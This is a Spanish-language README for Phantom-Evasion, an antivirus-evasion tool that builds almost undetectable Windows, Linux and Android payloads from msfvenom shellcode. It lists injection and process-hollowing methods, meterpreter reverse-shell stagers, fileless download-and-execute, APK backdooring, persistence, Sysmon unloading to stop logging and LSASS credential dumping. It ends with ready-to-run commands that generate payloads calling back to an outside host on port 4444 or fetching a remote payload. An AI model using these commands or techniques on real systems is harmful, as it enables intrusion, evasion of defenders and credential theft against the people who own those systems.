
Herramienta de evasión de antivirus en Python
Phantom-Evasion es una herramienta de evasión de antivirus escrita en Python (compatible tanto con Python como con Python3) capaz de generar ejecutables (casi) totalmente indetectables incluso con los payloads de msfvenom x86 más comunes.
Los siguientes sistemas operativos soportan oficialmente la configuración automática:
Los siguientes sistemas operativos probablemente soportan la configuración automática pero requieren instalación manual de metasploit-framework:
Los siguientes sistemas operativos requieren configuración manual:
Simplemente clone con git o descargue y descomprima la carpeta de Phantom-Evasion.
Configuración automática, abra una terminal y ejecute:
python3 phantom-evasion.py --setup
o:
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
o inicie phantom-evasion en modo interactivo y seleccione la opción 7
python3 phantom-evasion.py
o:
./phantom-evasion.py
python3 phantom-evasion.py --help
o:
./phantom-evasion.py --help
-Cada módulo C de payload de Windows puede compilarse (soporta tanto x86 como x64) como EXE o DLL/ReflectiveDLL.
-Inyección de código basura aleatoria (se puede configurar intensidad, frecuencia y probabilidad de reinyección) y técnicas de evasión de antivirus de Windows (se puede configurar la frecuencia).
-Cifrado de shellcode/archivo Multibyte Xor/Vigenere compatible tanto en módulos de inyección de shellcode como de Download Exec.
-Se soporta Ntdll unhookapi y técnica de enmascaramiento de proceso Peb.
-Amplia gama de modos de ejecución soportados (tanto local como remoto).
-Amplia gama de modos de asignación de memoria de payload (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Se puede configurar la carga dinámica de API de Windows.
-Se soporta suplantador y firmante de certificados.
-Strip ejecutable (https://en.wikipedia.org/wiki/Strip_(Unix))
Se soportan payloads de Windows de msfvenom y shellcode personalizado. El shellcode puede almacenarse como recurso y recuperarse en tiempo de ejecución con la API FindResource.
Cifrado de shellcode soportado:
1.ninguno
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
El método de ejecución local puede ser uno de los siguientes:
Thread
APC
El modo de asignación de memoria local puede ser uno de los siguientes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
El método de ejecución remota puede ser uno de los siguientes:
ThreadExecutionHijack (abreviado TEH)
Processinject (abreviado PI)
APCSpray (abreviado APCS)
EarlyBird (abreviado EB)
EntryPointHijack (abreviado EPH)
El modo de asignación de memoria remota puede ser uno de los siguientes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Módulos de stager de meterpreter en C puro (TCP/HTTP/HTTPS) compatibles con msfconsole y cobalt strike beacon. (reverse_tcp/reverse_http/reverse_https)
Usando el modo cmdline:
reverse_tcp c stager es WRT
reverse_http c stager es WRH
reverse_https c stager es WRS
El método de ejecución local puede ser uno de los siguientes:
Thread
APC
El modo de asignación de memoria local puede ser uno de los siguientes:
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Descarga exe/dll desde la URL proporcionada en memoria y ejecuta/carga en un proceso remoto (sin escribir en disco).
Descarga cifrada de EXE/DLL soportada:
1.ninguno
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
La DLL/EXE cifrada se guardará como nombrearchivooriginal + "crypt" + ".dll" o ".exe"; esta es la que se descargará.
Windows DownloadExecExe SinEscribirEnDisco (WDE usando modo cmdline):
El método de ejecución remota puede ser uno de los siguientes:
ProcessHollowing (abreviado PH)
Windows DownloadExecDll SinEscribirEnDisco (WDD usando modo cmdline):
El método de carga remota puede ser uno de los siguientes:
ReflectiveDll (abreviado RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abreviado MM) ---> solo x86
Se soportan payloads de Linux de msfvenom y shellcodes personalizados.
Backdoor ofuscado de Android con msfvenom:
Ofusca payloads de msfvenom y reconstruye (smali/baksmali) con apktool. El payload ofuscado puede usarse para backdoor en archivos apk benignos.
Persistencia en Windows RegCreateKeyExW Agregar clave de registro (C) El ejecutable compilado debe subirse a la máquina objetivo y ejecutarse especificando la ruta completa al archivo que se agregará al inicio como argumento.
Persistencia en Windows REG Agregar clave de registro (CMD) Este módulo genera payloads de persistencia en línea de comandos (Agregar clave de registro mediante REG.exe).
Persistencia en Windows Mantener proceso vivo (C) El ejecutable compilado debe subirse a la máquina objetivo y ejecutarse. Usa CreateToolSnapshot, ProcessFirst y ProcessNext para verificar si el proceso especificado está vivo cada X segundos (si no, crea un nuevo proceso usando la API WinExec)
Persistencia en Windows Schtasks (CMD)
Este módulo genera payloads de persistencia en línea de comandos (usando Schtasks.exe).
Persistencia en Windows Crear servicio (CMD)
Este módulo genera payloads de persistencia en línea de comandos (usando sc.exe).
Windows DuplicateTokenEx (C)
Crea un nuevo proceso con un token clonado de otro proceso. El ejecutable compilado debe subirse a la máquina objetivo y ejecutarse.
Windows Unload Sysmon (C) Descarga el controlador sysmon, lo que hace que el sistema deje de registrar los registros de eventos de sysmon. El ejecutable compilado debe subirse a la máquina objetivo y ejecutarse.
Windows Unload Sysmon (CMD) Descarga el controlador sysmon, lo que hace que el sistema deje de registrar los registros de eventos de sysmon.
Windows Attrib ocultar archivo (CMD) Usa attrib para ocultar archivo
Windows SetFileAttribute oculto (C) Oculta archivo usando la API SetFileAttribute El ejecutable compilado debe subirse a la máquina objetivo y ejecutarse.
Windows DumpLsass (C) Vuelca Lsass usando la API MiniWriteDumpWrite. El ejecutable compilado debe subirse a la máquina objetivo y ejecutarse.
Windows DumpLsass (CMD)
Vuelca Lsass desde la línea de comandos.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf